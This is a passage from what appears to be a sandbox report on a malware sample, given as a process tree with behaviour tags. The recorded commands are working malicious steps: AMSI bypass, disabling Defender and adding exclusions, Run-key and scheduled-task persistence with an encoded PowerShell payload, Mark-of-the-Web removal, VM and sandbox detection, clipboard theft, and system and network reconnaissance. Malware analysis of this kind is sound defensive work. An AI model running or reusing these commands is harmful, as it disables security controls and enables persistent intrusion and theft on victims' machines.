  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:2108
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:3876
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4948
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier"
    3⤵
    PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4596
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2192
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:3656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4448
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1256
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4476
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:2580
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4328
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe"
    3⤵
    - Views/modifies file attributes
    PID:2476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3184
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier"
    3⤵
    PID:2236

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4044

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1560

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:1696
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  PID:1836
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  PID:2188
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  PID:4124
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  PID:2844
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:3180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  PID:3520
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  PID:4144
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  PID:2220
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  PID:584
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:1132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  PID:2028
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  PID:4028
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  PID:4220
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    PID:4692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  PID:3964
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3044
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  PID:4812
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:3184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:3060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  PID:1132
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:4960
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  PID:8
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  PID:2968
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:4592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  PID:652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  PID:5028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  PID:396
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:3888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  PID:2944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1860
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  PID:1852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    PID:4208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  PID:3904
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  PID:4356
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  PID:4980
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:2868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  PID:4504
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    PID:500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:1232
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1792
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780336239899.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780336239899.cs
  2⤵
  PID:1996
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES934D.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSCC20FE6732DD14A02BB2CAD126A913AC0.TMP"
    3⤵
    PID:2480
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
  C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe C:\snapshot\12vt\panel\server\build_temp\build_1780296337337_115z5a\index.js
  2⤵
  PID:4880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:3312
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:920
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:1564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:3604
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:2080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5008
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:4428
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:4512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:4040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:3100
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:4036
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:3360
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:4148
- - C:\Windows\system32\cmd.exe
